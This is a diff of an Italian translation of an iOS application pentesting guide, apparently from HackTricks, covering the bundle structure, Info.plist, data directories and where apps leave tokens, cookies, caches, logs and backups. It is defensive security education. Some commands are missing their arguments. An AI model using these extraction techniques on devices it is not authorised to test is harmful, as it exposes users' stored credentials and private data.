* **`_CodeSignature/`**: Questa directory include un file plist che contiene una firma, garantendo l'integrità di tutti i file nel bundle.
* **`Assets.car`**: Un archivio compresso che memorizza file di risorse come icone.
* **`Frameworks/`**: Questa cartella contiene le librerie native dell'applicazione, che possono essere sotto forma di file `.dylib` o `.framework`.
* **`PlugIns/`**: Questo può includere estensioni dell'applicazione, note come file `.appex`, anche se non sono sempre presenti.
-* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Viene utilizzato per salvare i dati permanenti dell'applicazione per l'uso offline, memorizzare dati temporanei e aggiungere funzionalità di annullamento all'applicazione su un singolo dispositivo. Per sincronizzare i dati su più dispositivi in un singolo account iCloud, Core Data replica automaticamente lo schema in un contenitore CloudKit.
+* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Viene utilizzato per salvare i dati permanenti dell'applicazione per un utilizzo offline, per memorizzare dati temporanei e per aggiungere funzionalità di annullamento all'app su un singolo dispositivo. Per sincronizzare i dati su più dispositivi in un singolo account iCloud, Core Data replica automaticamente lo schema in un contenitore CloudKit.
* [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Il file `PkgInfo` è un modo alternativo per specificare i codici di tipo e creatore della tua applicazione o bundle.
* **en.lproj, fr.proj, Base.lproj**: Sono i pacchetti linguistici che contengono risorse per quelle lingue specifiche e una risorsa predefinita nel caso in cui una lingua non sia supportata.
* **Sicurezza**: La directory `_CodeSignature/` svolge un ruolo critico nella sicurezza dell'app verificando l'integrità di tutti i file inclusi attraverso firme digitali.
-* **Gestione delle Risorse**: Il file `Assets.car` utilizza la compressione per gestire efficientemente le risorse grafiche, essenziale per ottimizzare le prestazioni dell'applicazione e ridurne le dimensioni complessive.
+* **Gestione delle Risorse**: Il file `Assets.car` utilizza la compressione per gestire efficientemente le risorse grafiche, essenziale per ottimizzare le performance dell'applicazione e ridurne le dimensioni complessive.
* **Frameworks e PlugIns**: Queste directory sottolineano la modularità delle applicazioni iOS, consentendo agli sviluppatori di includere librerie di codice riutilizzabili (`Frameworks/`) ed estendere la funzionalità dell'app (`PlugIns/`).
-* **Localizzazione**: La struttura supporta più lingue, facilitando la portata globale dell'applicazione includendo risorse per pacchetti linguistici specifici.
+* **Localizzazione**: La struttura supporta più lingue, facilitando il raggiungimento globale dell'applicazione includendo risorse per pacchetti linguistici specifici.
**Info.plist**
-L'**Info.plist** funge da fondamento per le applicazioni iOS, racchiudendo dati di configurazione chiave sotto forma di **coppie chiave-valore**. Questo file è un requisito non solo per le applicazioni ma anche per le estensioni delle app e i framework inclusi. È strutturato in formato XML o binario e contiene informazioni critiche che vanno dalle autorizzazioni dell'app alle configurazioni di sicurezza. Per una dettagliata esplorazione delle chiavi disponibili, si può fare riferimento alla [**Documentazione per Sviluppatori Apple**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc).
+L'**Info.plist** funge da fondamento per le applicazioni iOS, racchiudendo dati di configurazione chiave sotto forma di coppie **chiave-valore**. Questo file è un requisito non solo per le applicazioni ma anche per le estensioni dell'app e i framework inclusi. È strutturato in formato XML o binario e contiene informazioni critiche che vanno dalle autorizzazioni dell'app alle configurazioni di sicurezza. Per una dettagliata esplorazione delle chiavi disponibili, si può fare riferimento alla [**Documentazione per Sviluppatori Apple**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc).
Per coloro che desiderano lavorare con questo file in un formato più accessibile, la conversione in XML può essere ottenuta facilmente tramite l'uso di `plutil` su macOS (disponibile nativamente nelle versioni 10.2 e successive) o `plistutil` su Linux. I comandi per la conversione sono i seguenti:
@@ -202,13 +202,13 @@ $ plutil -convert xml1 Info.plist
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
```
-Tra le miriadi di informazioni che il file **Info.plist** può divulgare, vanno menzionate voci importanti come le stringhe delle autorizzazioni dell'app (`UsageDescription`), gli schemi URL personalizzati (`CFBundleURLTypes`), e le configurazioni per la Sicurezza del Trasporto dell'App (`NSAppTransportSecurity`). Queste voci, insieme ad altre come i tipi di documento personalizzati esportati/importati (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), possono essere facilmente individuate ispezionando il file o utilizzando un semplice comando `grep`:
+Tra le miriadi di informazioni che il file **Info.plist** può divulgare, le voci degne di nota includono le stringhe delle autorizzazioni dell'app (`UsageDescription`), gli schemi URL personalizzati (`CFBundleURLTypes`), e le configurazioni per la Sicurezza del Trasporto dell'App (`NSAppTransportSecurity`). Queste voci, insieme ad altre come i tipi di documento personalizzati esportati/importati (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), possono essere facilmente individuate ispezionando il file o utilizzando un semplice comando `grep`:
```bash
$ grep -i Info.plist
```
**Percorsi dei dati**
-Nell'ambiente iOS, ci sono directory designate specificamente per le **applicazioni di sistema** e le **applicazioni installate dall'utente**. Le applicazioni di sistema risiedono nella directory `/Applications`, mentre le app installate dall'utente sono collocate sotto `/var/mobile/containers/Data/Application/`. Queste applicazioni sono assegnate un identificatore univoco noto come **UUID a 128 bit**, rendendo difficile la ricerca manuale della cartella di un'app a causa della casualità dei nomi delle directory.
+Nell'ambiente iOS, ci sono directory designate specificamente per le **applicazioni di sistema** e le **applicazioni installate dall'utente**. Le applicazioni di sistema risiedono nella directory `/Applications`, mentre le app installate dall'utente sono collocate sotto `/var/mobile/containers/Data/Application/`. Queste applicazioni sono assegnate un identificatore univoco noto come un **UUID a 128 bit**, rendendo difficile il compito di individuare manualmente la cartella di un'app a causa della casualità dei nomi delle directory.
{% hint style="warning" %}
Poiché le applicazioni in iOS devono essere sandboxate, ogni app avrà anche una cartella all'interno di **`$HOME/Library/Containers`** con l'**`CFBundleIdentifier`** dell'app come nome della cartella.
@@ -231,7 +231,7 @@ Oppure, il nome dell'app può essere cercato all'interno di `/private/var/contai
```bash
find /private/var/containers -name "Progname*"
```
-I comandi come `ps` e `lsof` possono anche essere utilizzati per identificare il processo dell'app e elencare i file aperti, rispettivamente, fornendo informazioni sui percorsi attivi dell'applicazione:
+Comandi come `ps` e `lsof` possono essere utilizzati per identificare il processo dell'app e elencare i file aperti, rispettivamente, fornendo informazioni sui percorsi attivi dell'applicazione:
```bash
ps -ef | grep -i
lsof -p | grep -i "/containers" | head -n 1
@@ -249,7 +249,7 @@ lsof -p | grep -i "/containers" | head -n 1
* **Documents/**
* Contiene tutti i dati generati dall'utente. L'utente finale dell'applicazione inizia la creazione di questi dati.
* Visibile agli utenti e **gli utenti possono scriverci**.
-* I contenuti in questa directory **vengono salvati**.
+* I contenuti in questa directory vengono **salvati**.
* L'applicazione può disabilitare i percorsi impostando `NSURLIsExcludedFromBackupKey`.
* **Library/**
* Contiene tutti i **file che non sono specifici dell'utente**, come **cache**, **preferenze**, **cookie** e file di configurazione della lista delle proprietà (plist).
@@ -262,7 +262,7 @@ lsof -p | grep -i "/containers" | head -n 1
* **Library/Application Support/**
* Contiene **file persistenti necessari per l'esecuzione dell'applicazione**.
* **Invisibile agli utenti** e gli utenti non possono scriverci.
-* I contenuti in questa directory **vengono salvati**.
+* I contenuti in questa directory vengono **salvati**.
* L'applicazione può disabilitare i percorsi impostando `NSURLIsExcludedFromBackupKey`.
* **Library/Preferences/**
* Utilizzato per memorizzare proprietà che possono **persistere anche dopo il riavvio di un'applicazione**.
@@ -272,7 +272,7 @@ lsof -p | grep -i "/containers" | head -n 1
* Utilizzare questa directory per scrivere **file temporanei** che non devono persistere tra i lanci dell'applicazione.
* Contiene file memorizzati in cache non persistenti.
* **Invisibile** agli utenti.
-* I contenuti in questa directory **non vengono salvati**.
+* I contenuti in questa directory non vengono salvati.
* Il sistema operativo potrebbe eliminare automaticamente i file di questa directory quando l'applicazione non è in esecuzione e lo spazio di archiviazione è scarso.
Diamo un'occhiata più da vicino alla directory dell'Applicazione iGoat-Swift (.app) all'interno della directory Bundle (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`):
@@ -289,7 +289,7 @@ Regular 420 None ... LICENSE.txt
Regular 420 None ... Sentinel.txt
Regular 420 None ... README.txt
```
-### Reverse Engineering Binario
+### Analisi Binaria
All'interno della cartella `.app` troverai un file binario chiamato ``. Questo è il file che verrà **eseguito**. Puoi effettuare un'ispezione di base del binario con lo strumento **`otool`**:
```bash
@@ -307,13 +307,13 @@ DVIA-v2:
```
**Verifica se l'app è crittografata**
-Verifica se c'è un output per:
+Controlla se c'è un output per:
```bash
otool -l | grep -A 4 LC_ENCRYPTION_INFO
```
**Disassemblare il binario**
-Disassemblare la sezione di testo:
+Disassembla la sezione di testo:
```bash
otool -tV DVIA-v2
DVIA-v2:
@@ -372,12 +372,12 @@ Tuttavia, le migliori opzioni per disassemblare il binario sono: [**Hopper**](ht
\
-Utilizza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
+Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
-## Archiviazione dei Dati
+## Archiviazione dei dati
Per apprendere come iOS archivia i dati nel dispositivo, leggi questa pagina:
@@ -386,7 +386,7 @@ Per apprendere come iOS archivia i dati nel dispositivo, leggi questa pagina:
{% endcontent-ref %}
{% hint style="warning" %}
-I seguenti luoghi di archiviazione delle informazioni dovrebbero essere controllati **subito dopo l'installazione dell'applicazione**, **dopo aver verificato tutte le funzionalità** dell'applicazione e anche dopo **il logout da un utente e il login con un utente diverso**.\
+I seguenti luoghi di archiviazione delle informazioni dovrebbero essere controllati **subito dopo l'installazione dell'applicazione**, **dopo aver verificato tutte le funzionalità** dell'applicazione e anche dopo **essere usciti da un utente e aver effettuato l'accesso con un utente diverso**.\
L'obiettivo è trovare **informazioni sensibili non protette** dell'applicazione (password, token), dell'utente corrente e degli utenti precedentemente registrati.
{% endhint %}
@@ -396,9 +396,9 @@ I file **plist** sono file XML strutturati che **contengono coppie chiave-valore
Il modo più comune per persistere i dati nei file plist è tramite l'uso di **NSUserDefaults**. Questo file plist viene salvato all'interno del sandbox dell'app in **`Library/Preferences/.plist`**
-La classe [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) fornisce un'interfaccia programmatica per interagire con il sistema predefinito. Il sistema predefinito consente a un'applicazione di personalizzare il suo comportamento in base alle **preferenze dell'utente**. I dati salvati da `NSUserDefaults` possono essere visualizzati nel bundle dell'applicazione. Questa classe archivia **dati** in un **file plist**, ma è destinata ad essere utilizzata con piccole quantità di dati.
+La classe [`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) fornisce un'interfaccia programmatica per interagire con il sistema predefinito. Il sistema predefinito consente a un'applicazione di personalizzare il suo comportamento in base alle **preferenze dell'utente**. I dati salvati da `NSUserDefaults` possono essere visualizzati nel bundle dell'applicazione. Questa classe memorizza **dati** in un **file plist**, ma è destinata ad essere utilizzata con piccole quantità di dati.
-Questi dati non possono essere più accessibili direttamente tramite un computer fidato, ma possono essere accessibili eseguendo un **backup**.
+Questi dati non possono essere più accessibili direttamente tramite un computer attendibile, ma possono essere accessibili eseguendo un **backup**.
Puoi **estrarre** le informazioni salvate utilizzando **`NSUserDefaults`** utilizzando `ios nsuserdefaults get` di objection.
@@ -423,11 +423,12 @@ ios plist cat /private/var/mobile/Containers/Data/Application/
```
### Core Data
-[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) è un framework per gestire il livello di modello degli oggetti nella tua applicazione. [Core Data può utilizzare SQLite come archivio persistente](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), ma il framework stesso non è un database. CoreData non crittografa i suoi dati per impostazione predefinita. Tuttavia, è possibile aggiungere uno strato di crittografia aggiuntivo a CoreData. Consulta il [GitHub Repo](https://github.com/project-imas/encrypted-core-data) per ulteriori dettagli.
+[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) è un framework per gestire il livello di modello degli oggetti nella tua applicazione. [Core Data può utilizzare SQLite come archivio persistente](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), ma il framework stesso non è un database.\
+CoreData non crittografa i suoi dati per impostazione predefinita. Tuttavia, è possibile aggiungere uno strato di crittografia aggiuntivo a CoreData. Consulta il [GitHub Repo](https://github.com/project-imas/encrypted-core-data) per ulteriori dettagli.
È possibile trovare le informazioni di SQLite Core Data di un'applicazione nel percorso `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`
-**Se riesci ad aprire il SQLite e accedere a informazioni sensibili, allora hai trovato una configurazione errata.**
+**Se riesci ad aprire il file SQLite e accedere a informazioni sensibili, allora hai trovato una configurazione errata.**
```objectivec
-(void)storeDetails {
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);
@@ -458,7 +459,7 @@ NSLog(@"data stored in core data");
[YapDatabase](https://github.com/yapstudios/YapDatabase) è un archivio chiave/valore costruito sopra SQLite.\
Poiché i database Yap sono database sqlite, è possibile trovarli utilizzando il comando apposito nella sezione precedente.
-### Altri database SQLite
+### Altri Database SQLite
È comune che le applicazioni creino il proprio database sqlite. Potrebbero **memorizzare** **dati** **sensibili** al loro interno e lasciarli non crittografati. Pertanto, è sempre interessante controllare ogni database all'interno della directory delle applicazioni. Quindi vai alla directory dell'applicazione dove i dati sono salvati (`/private/var/mobile/Containers/Data/Application/{APPID}`)
```bash
@@ -468,15 +469,15 @@ find ./ -name "*.sqlite" -or -name "*.db"
Ai developer è consentito **memorizzare e sincronizzare dati** all'interno di un **database ospitato su cloud NoSQL** tramite il Database in tempo reale di Firebase. Memorizzati in formato JSON, i dati vengono sincronizzati in tempo reale su tutti i client connessi.
-Puoi trovare come verificare i database Firebase configurati in modo errato qui:
+Puoi scoprire come verificare la presenza di database Firebase configurati in modo errato qui:
{% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %}
[firebase-database.md](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
{% endcontent-ref %}
-### Database di Realm
+### Database Realm
-[Realm Objective-C](https://realm.io/docs/objc/latest/) e [Realm Swift](https://realm.io/docs/swift/latest/) offrono un'alternativa potente per lo storage dei dati, non fornita da Apple. Per impostazione predefinita, **memorizzano dati non crittografati**, con la crittografia disponibile tramite configurazioni specifiche.
+[Realm Objective-C](https://realm.io/docs/objc/latest/) e [Realm Swift](https://realm.io/docs/swift/latest/) offrono un'alternativa potente per lo storage dei dati, non fornita da Apple. Per impostazione predefinita, essi **memorizzano dati non crittografati**, con la crittografia disponibile tramite configurazioni specifiche.
I database si trovano in: `/private/var/mobile/Containers/Data/Application/{APPID}`. Per esplorare questi file, è possibile utilizzare comandi come:
```bash
@@ -509,7 +510,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
```
### Cookies
-iOS memorizza i cookie delle app nella cartella **`Library/Cookies/cookies.binarycookies`** all'interno di ciascuna cartella dell'app. Tuttavia, a volte gli sviluppatori decidono di salvarli nell'**keychain** poiché il suddetto **file dei cookie può essere accessibile nei backup**.
+iOS memorizza i cookie delle app nella cartella **`Library/Cookies/cookies.binarycookies`** all'interno di ciascuna cartella dell'app. Tuttavia, a volte gli sviluppatori decidono di salvarli nell'**portachiavi** poiché il suddetto **file dei cookie può essere accessibile nei backup**.
Per ispezionare il file dei cookie puoi utilizzare [**questo script python**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) o utilizzare il comando **`ios cookies get`** di objection.\
**Puoi anche utilizzare objection per** convertire questi file in formato JSON e ispezionare i dati.
@@ -530,7 +531,7 @@ Per ispezionare il file dei cookie puoi utilizzare [**questo script python**](ht
```
### Cache
-Di default NSURLSession memorizza i dati, come le **richieste e le risposte HTTP nel database Cache.db**. Questo database può contenere **dati sensibili**, se token, nomi utente o altre informazioni sensibili sono stati memorizzati nella cache. Per trovare le informazioni memorizzate aprire la directory dei dati dell'app (`/var/mobile/Containers/Data/Application/`) e andare a `/Library/Caches/`. Anche la **cache di WebKit viene memorizzata nel file Cache.db**. **Objection** può aprire e interagire con il database con il comando `sqlite connect Cache.db`, poiché si tratta di un **database SQLite normale**.
+Di default NSURLSession memorizza i dati, come le **richieste e le risposte HTTP nel database Cache.db**. Questo database può contenere **dati sensibili**, se token, nomi utente o altre informazioni sensibili sono stati memorizzati nella cache. Per trovare le informazioni memorizzate aprire la directory dei dati dell'app (`/var/mobile/Containers/Data/Application/`) e andare a `/Library/Caches/`. Anche la **cache di WebKit viene memorizzata nel file Cache.db**. **Objection** può aprire e interagire con il database con il comando `sqlite connect Cache.db`, poiché si tratta di un **normale database SQLite**.
È **consigliabile disabilitare la memorizzazione nella cache di questi dati**, poiché potrebbero contenere informazioni sensibili nella richiesta o nella risposta. Di seguito sono elencati diversi modi per ottenere questo:
@@ -539,18 +540,18 @@ Di default NSURLSession memorizza i dati, come le **richieste e le risposte HTTP
`URLCache.shared.removeAllCachedResponses()`
Questo metodo rimuoverà tutte le richieste e risposte memorizzate dal file Cache.db.
-2. Se non è necessario utilizzare i cookie, sarebbe consigliabile utilizzare semplicemente la proprietà di configurazione [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) di URLSession, che disabiliterà il salvataggio dei cookie e delle cache.
+2. Se non è necessario utilizzare i vantaggi dei cookie, sarebbe consigliabile utilizzare la proprietà di configurazione [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) di URLSession, che disabiliterà il salvataggio dei cookie e della cache.
[Documentazione Apple](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
`Un oggetto di configurazione della sessione effimera è simile a una configurazione di sessione predefinita (vedi predefinito), tranne che l'oggetto di sessione corrispondente non memorizza cache, archivi di credenziali o dati correlati alla sessione su disco. Invece, i dati correlati alla sessione sono memorizzati in RAM. L'unica volta in cui una sessione effimera scrive dati su disco è quando gli si dice di scrivere i contenuti di un URL su un file.`
-3. La cache può essere disabilitata anche impostando la Policy della Cache a [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Ciò disabiliterà la memorizzazione della cache in qualsiasi modo, sia in memoria che su disco.
+3. La cache può essere disabilitata anche impostando la Policy della Cache su [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Questo disabiliterà la memorizzazione della cache in qualsiasi modo, sia in memoria che su disco.
### Snapshots
Ogni volta che si preme il pulsante home, iOS **fa uno snapshot dello schermo corrente** per poter effettuare la transizione all'applicazione in modo più fluido. Tuttavia, se sono presenti **dati sensibili** nello schermo corrente, verranno **salvati** nell'**immagine** (che **persiste** **attraverso** **riavvii**). Questi sono gli snapshot a cui è possibile accedere anche facendo doppio tap sullo schermo home per passare tra le app.
-A meno che l'iPhone non sia jailbroken, l'**attaccante** deve avere **accesso** al **dispositivo** **sbloccato** per vedere queste schermate. Di default, l'ultimo snapshot è memorizzato nella sandbox dell'applicazione nella cartella `Library/Caches/Snapshots/` o `Library/SplashBoard/Snapshots` (i computer fidati non possono accedere al filesystem da iOS 7.0).
+A meno che l'iPhone non sia jailbroken, l'**attaccante** deve avere **accesso** al **dispositivo** **sbloccato** per vedere queste schermate. Di default, l'ultimo snapshot è memorizzato nella sandbox dell'applicazione in `Library/Caches/Snapshots/` o nella cartella `Library/SplashBoard/Snapshots` (i computer fidati non possono accedere al filesystem da iOS 7.0).
Un modo per prevenire questo comportamento indesiderato è quello di mettere uno schermo vuoto o rimuovere i dati sensibili prima di fare lo snapshot utilizzando la funzione `ApplicationDidEnterBackground()`.
@@ -604,7 +605,7 @@ Per estrarre queste credenziali memorizzate, viene utilizzato il comando `ios ns
## **Tastiere personalizzate e cache della tastiera**
-Con iOS 8.0 in poi, gli utenti possono installare estensioni di tastiera personalizzate, gestibili in **Impostazioni > Generale > Tastiera > Tastiere**. Anche se queste tastiere offrono funzionalità estese, rappresentano un rischio di registrazione dei tasti premuti e di trasmissione dei dati a server esterni, anche se agli utenti viene notificato riguardo alle tastiere che richiedono l'accesso alla rete. Le app possono e dovrebbero limitare l'uso delle tastiere personalizzate per l'inserimento di informazioni sensibili.
+Con iOS 8.0 in poi, gli utenti possono installare estensioni di tastiera personalizzate, gestibili in **Impostazioni > Generale > Tastiera > Tastiere**. Anche se queste tastiere offrono funzionalità estese, pongono il rischio di registrazione dei tasti premuti e di trasmissione dei dati a server esterni, anche se agli utenti viene notificato riguardo alle tastiere che richiedono l'accesso alla rete. Le app possono, e dovrebbero, limitare l'uso delle tastiere personalizzate per l'inserimento di informazioni sensibili.
**Raccomandazioni di sicurezza:**
@@ -612,7 +613,7 @@ Con iOS 8.0 in poi, gli utenti possono installare estensioni di tastiera persona
* Prestare attenzione alle funzionalità di autocorrezione e suggerimenti automatici della tastiera predefinita di iOS, che potrebbero memorizzare informazioni sensibili nei file di cache situati in `Library/Keyboard/{locale}-dynamic-text.dat` o `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Questi file di cache dovrebbero essere controllati regolarmente per verificare la presenza di dati sensibili. Si consiglia di ripristinare il dizionario della tastiera tramite **Impostazioni > Generale > Ripristina > Ripristina dizionario tastiera** per eliminare i dati memorizzati nella cache.
* Intercettare il traffico di rete può rivelare se una tastiera personalizzata sta trasmettendo i tasti premuti in remoto.
-### **Prevenzione della memorizzazione nella cache dei campi di testo**
+### **Prevenire la memorizzazione nella cache dei campi di testo**
Il [protocollo UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) offre proprietà per gestire l'autocorrezione e l'inserimento di testo sicuro, essenziali per prevenire la memorizzazione di informazioni sensibili. Ad esempio, è possibile disabilitare l'autocorrezione e abilitare l'inserimento di testo sicuro con:
```objectivec
@@ -626,17 +627,17 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
```
## **Log**
-Il debug del codice coinvolge spesso l'uso del **logging**. C'è un rischio in quanto **i log possono contenere informazioni sensibili**. In precedenza, in iOS 6 e nelle versioni precedenti, i log erano accessibili a tutte le app, creando un rischio di perdita di dati sensibili. **Ora, le applicazioni sono limitate ad accedere solo ai propri log**.
+Il debug del codice spesso implica l'uso del **logging**. C'è un rischio in quanto **i log possono contenere informazioni sensibili**. In precedenza, in iOS 6 e nelle versioni precedenti, i log erano accessibili a tutte le app, creando un rischio di perdita di dati sensibili. **Ora, le applicazioni sono limitate ad accedere solo ai propri log**.
-Nonostante queste restrizioni, un **attaccante con accesso fisico** a un dispositivo sbloccato può comunque sfruttarlo collegando il dispositivo a un computer e **leggendo i log**. È importante notare che i log rimangono sul disco anche dopo la disinstallazione dell'app.
+Nonostante queste restrizioni, un **attaccante con accesso fisico** a un dispositivo sbloccato può ancora sfruttarlo collegando il dispositivo a un computer e **leggendo i log**. È importante notare che i log rimangono sul disco anche dopo la disinstallazione dell'app.
Per mitigare i rischi, si consiglia di **interagire approfonditamente con l'app**, esplorando tutte le sue funzionalità e input per garantire che non vengano registrate informazioni sensibili per errore.
-Nel momento in cui si esamina il codice sorgente dell'app per potenziali perdite, cercare sia **istruzioni di logging predefinite** che **personalizzate** utilizzando parole chiave come `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` per le funzioni integrate, e qualsiasi menzione di `Logging` o `Logfile` per implementazioni personalizzate.
+Nel momento in cui si esamina il codice sorgente dell'app per potenziali fughe, cercare sia **istruzioni di logging predefinite** che **personalizzate** utilizzando parole chiave come `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` per le funzioni integrate, e qualsiasi menzione di `Logging` o `Logfile` per implementazioni personalizzate.
### **Monitoraggio dei Log di Sistema**
-Le app registrano varie informazioni che possono essere sensibili. Per monitorare questi log, strumenti e comandi come:
+Le app registrano varie informazioni sensibili. Per monitorare questi log, strumenti e comandi come:
```bash
idevice_id --list # To find the device ID
idevicesyslog -u (| grep ) # To capture the device logs
@@ -647,24 +648,24 @@ Sono utili. Inoltre, **Xcode** fornisce un modo per raccogliere i log della cons
2. Collega il dispositivo iOS.
3. Vai su **Finestra** -> **Dispositivi e Simulatori**.
4. Seleziona il tuo dispositivo.
-5. Provoca il problema che stai investigando.
-6. Utilizza il pulsante **Apri Console** per visualizzare i log in una nuova finestra.
+5. Attiva il problema che stai investigando.
+6. Usa il pulsante **Apri Console** per visualizzare i log in una nuova finestra.
-Per una registrazione più avanzata, connettersi alla shell del dispositivo e utilizzare **socat** può fornire un monitoraggio dei log in tempo reale:
+Per una registrazione più avanzata, connettersi alla shell del dispositivo e utilizzare **socat** può fornire il monitoraggio dei log in tempo reale:
```bash
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
```
-Seguito da comandi per osservare le attività di log, che possono essere preziosi per diagnosticare problemi o identificare potenziali fughe di dati nei log.
+Seguito dai comandi per osservare le attività di log, che possono essere preziose per diagnosticare problemi o identificare potenziali fughe di dati nei log.
***
\
-Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
+Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) per creare e **automatizzare flussi di lavoro** con facilità, supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi:
-{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
+{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
## Backup
@@ -676,11 +677,11 @@ L'inclusione delle **app installate e dei loro dati** nei backup solleva il prob
### Escludere File dai Backup
-I file in `Documents/` e `Library/Application Support/` vengono di default inclusi nei backup. Gli sviluppatori possono escludere file o directory specifiche dai backup utilizzando `NSURL setResourceValue:forKey:error:` con la chiave `NSURLIsExcludedFromBackupKey`. Questa pratica è cruciale per proteggere i dati sensibili dall'inclusione nei backup.
+I file in `Documents/` e `Library/Application Support/` vengono automaticamente inclusi nei backup. Gli sviluppatori possono escludere file o directory specifiche dai backup utilizzando `NSURL setResourceValue:forKey:error:` con la chiave `NSURLIsExcludedFromBackupKey`. Questa pratica è cruciale per proteggere i dati sensibili dall'inclusione nei backup.
### Test per le Vulnerabilità
-Per valutare la sicurezza del backup di un'app, inizia con la **creazione di un backup** utilizzando Finder, quindi individualo seguendo le indicazioni della [documentazione ufficiale di Apple](https://support.apple.com/en-us/HT204215). Analizza il backup per dati sensibili o configurazioni che potrebbero essere modificate per influenzare il comportamento dell'app.
+Per valutare la sicurezza del backup di un'app, inizia con la **creazione di un backup** utilizzando Finder, quindi individualo seguendo le indicazioni della [documentazione ufficiale di Apple](https://support.apple.com/en-us/HT204215). Analizza il backup per individuare dati sensibili o configurazioni che potrebbero essere modificate per influenzare il comportamento dell'app.
Le informazioni sensibili possono essere individuate utilizzando strumenti a riga di comando o applicazioni come [iMazing](https://imazing.com). Per i backup criptati, la presenza di crittografia può essere confermata controllando la chiave "IsEncrypted" nel file "Manifest.plist" nella radice del backup.
```xml
@@ -695,7 +696,7 @@ Le informazioni sensibili possono essere individuate utilizzando strumenti a rig
...
```
-Per gestire i backup crittografati, gli script Python disponibili nel [repository GitHub di DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts), come **backup\_tool.py** e **backup\_passwd.py**, potrebbero essere utili, sebbene potenzialmente richiedano modifiche per essere compatibili con le ultime versioni di iTunes/Finder. Lo strumento [**iOSbackup**](https://pypi.org/project/iOSbackup/) è un'altra opzione per accedere ai file all'interno dei backup protetti da password.
+Per gestire i backup crittografati, gli script Python disponibili nel [repository GitHub di DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts), come **backup\_tool.py** e **backup\_passwd.py**, potrebbero essere utili, sebbene potenzialmente richiedano modifiche per la compatibilità con le ultime versioni di iTunes/Finder. Lo strumento [**iOSbackup**](https://pypi.org/project/iOSbackup/) è un'altra opzione per accedere ai file all'interno dei backup protetti da password.
### Modifica del Comportamento dell'App
@@ -703,11 +704,11 @@ Un esempio di modifica del comportamento dell'app attraverso modifiche al backup
## Riassunto sul Testing della Memoria per Dati Sensibili
-Quando si tratta di informazioni sensibili memorizzate nella memoria di un'applicazione, è cruciale limitare il tempo di esposizione di questi dati. Ci sono due approcci principali per investigare il contenuto della memoria: **creare un dump della memoria** e **analizzare la memoria in tempo reale**. Entrambi i metodi presentano sfide, inclusa la possibilità di perdere dati critici durante il processo di dump o di analisi.
+Quando si tratta di informazioni sensibili memorizzate nella memoria di un'applicazione, è cruciale limitare il tempo di esposizione di questi dati. Ci sono due approcci principali per investigare il contenuto della memoria: **creare un dump della memoria** e **analizzare la memoria in tempo reale**. Entrambi i metodi hanno le loro sfide, inclusa la possibilità di perdere dati critici durante il processo di dump o di analisi.
## **Recupero e Analisi di un Dump della Memoria**
